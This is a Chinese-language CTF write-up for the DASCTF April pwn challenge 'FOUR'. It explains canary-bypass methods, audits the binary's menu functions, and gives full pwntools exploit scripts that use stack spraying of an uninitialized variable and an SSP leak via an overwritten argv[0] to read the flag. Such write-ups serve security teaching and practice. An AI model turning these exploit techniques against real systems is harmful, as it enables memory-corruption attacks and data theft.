DASCTF APR

DASCTTF WRITE UP

FOUR

考察点:

  1. canary的绕过方式
  2. 代码的硬审计能力
  3. ”栈喷射“脏数据感染未初始化数据

安全检测:

DA1.png

  1. 全RELRO,则got表不可改
  2. 存在canary,对应题设。
  3. 堆栈可执行,但有canary
  4. 无地址随机化,

关于canary的几种绕过方式:

  1. 什么是canary:
    1. canary是一种栈保护机制,是操作系统在bp指针的一个低地址单元插入的一串随机数,在栈函数流程执行完后,则拿出canary在栈上的数据和原canary值比对,若相同则透明,若不同则报错。
      DA2.PNG
  2. 绕过方法一:泄漏canary
    1. 格式化字符串泄漏栈数据中的canary,
    2. 相同的函数调用时调用相同canary,借助其他函数,或篡改的rop链读出canary
    3. 无已知printf函数,无法构造rop链,则不行
  3. 绕过方法二:fork函数爆破
    1. 对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。
    2. 逐字节爆破,fork函数为一个特殊函数拥有两个返回三种状态,>0返回父函数,== 0继续子进程,<0发生错误,(两反三态)
    3. 逐字节进行循环,若和已有canary不同,则错误,开启一个新的子进程,
      若符合,则读取已有之后的canary,脚本进行接收符合条件,
      并进行下一字节循环的爆破,直到探明为止。
    4. 无fork函数,则不行
  4. 绕过方法三:got表篡改,恶意触发canary错误,调用目标函数
    1. 若___stack_chk_fail() got表可改,则可考虑篡改got表为目标函数,从而满足功能如:get shell /open flag
    2. full RELROgot表不可改,不行
  5. 绕过方式四:___stack_chk_fail() argv[0] 可控,则恶意触发canary错误,打印栈中数据(SSP LEAK)
    1. argv[0]是指向第一个启动参数字符串的指针 ,将其篡改为目标地址,则可读出栈中内容
    2. 该题采用本方法进行flag读出。

IDA反编译看下:(重点是过硬的代码审计能力)

–>已将重要变量重命名以及流程代码的标注

DA3.png

  1. main函数的几个分支选项——–>菜单页面

DA4.png

  1. choose 1 ——–> 读出printf的got表地址,可进行leak_libc但关闭标准错误(因为ssp需要抛出错误信息,若关闭则使得ssp失效)

DA5.png

  1. choose 2 ———->调用一个可开极大栈空间的函数,之后将输入内容加密输出,看似没用但这里正是做题关键点:栈喷射。

    1. 栈喷射是个大而宽泛的概念,主要应用于极大空间的栈溢出的内容的构造。
    2. shellcode的nop sled以及前后栈帧非初始化变量的感染都属于栈喷射
      DA6.png
      DA7.png
  2. choose 3 ———> 官方提示的目标危险函数

    1. 函数操作:将传入的前几个参数进行加密,并输入文件名以开启复制有s1变量读入的dest变量。调试output.txt存在为空,则dest可未初始化,若被从前栈帧上的脏数据感染则可open flag。

DA8.png

  1. 脚本调试:
    1. 向choose2喷射满”flag\x00“字符
    2. 当函数调用完成,栈空间释放,上一个函数的数据实际并不被擦除或覆盖,这些数据仍然存在于栈上,只是不被当前函数在访问,标记为删除,若下个函数重新申请空间,则再将栈空间内存进行初始化覆盖。这里若下一个函数的变量未进行初始化,则会被上一个栈帧的脏数据感染赋值。(空安全)
    3. 脚本调试与结果:
from pwn import *
p=process('/home/lilbc/桌面/pwn1' )
context(os='linux', arch='amd64')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
gdb.attach(p)
pause()
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)

p.sendlineafter(b"Really?\n",b'n')

p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()

DA9.png
choose 2 的canary地址落于:0xc1850,
DA10.png
choose 3 的canary落于:0xc1760
两函数栈帧几乎重叠开启,从二图中也见栈帧也已被flag脏数据感染,
若flag\x00字符串读入未初始化变量dest,则open flag

DA11.png

  1. choose 4 ———> 一个需要构造参数的read函数
    1. 主要考察是否对asc码敏感:先给出asc表进行参考

在这里插入图片描述

  1. fd 文件描述符:
    1. 文件检测符检测到~号使得数组i[]中,第二个参数的asc码—0的asc码的值,赋为文件描述符
    2. 如:51-48=3
  2. v6 read地址:
  • 在检查一个字符数组 i 中的某个位置 j 是否满足以下条件:
  • 位置 j 上的字符是冒号(:)。
  • 位置 j + 1,j + 2 和 j + 3 上都有字符。
  • 位置 j + 4 上没有字符。

如果满足这些条件,那么代码会执行以下操作:

  • 将变量 v6 的低字节设置为位置 j + 1 上的字符。
  • 将变量 v6 的次低字节设置为位置 j + 2 上的字符。
  • 将变量 v6 的高字设置为位置 j + 3 上的字符(将其转换为无符号整数)。
  • 跳出循环。
  1. v1 (长度):
    1. 检测到@和*符号之间有⼩写字母a~z 把⼩写字母的ascii码作为写⼊长度
  2. choose 5—–>栈溢出 ssp触发器

思路:

  • choose 2写脏数据,感染choose 3的dest变量,将flag读出。调用choose 4 read函数将flag变量读到已知栈内存中。通过choose5将arg[v0]值改为上方法写入的flag地址,即可触发SSP,从而get flag。
  • IDA测出arg[v0]的偏移为:0x10+0xdef0-0xe008=0x128,手动调试是0x118。
  • DA13.png

EXP:

from pwn import *
#p=remote('node4.buuoj.cn',26153)
p=process('/home/lilbc/桌面/pwn1' )
#libc=ELF('./libc.so.6')
#elf = ELF('./pwn1')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)
p.sendlineafter(b"Really?\n",b'n')
gdb.attach(p)
pause()
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()
p.sendlineafter(b"Enter mode:",str(2))
p.sendlineafter(b"Enter X:",str(3))
payload=b'a'*0x10
p.sendlineafter(b"Enter a string: ",payload)
p.sendlineafter(b"please input filename\n",'output.txt')


p.sendlineafter(b"1. yes\n2.no\n",str(2))

p.sendlineafter(b"your choice : \n",str(4))
payload=b'11>:`!!>@a*>~3'
p.sendlineafter('info>>\n',payload)

p.sendlineafter(b"your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter(b"This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)

p.interactive()

引用参考zsnick师傅https://blog.csdn.net/mochu7777777/article/details/130309288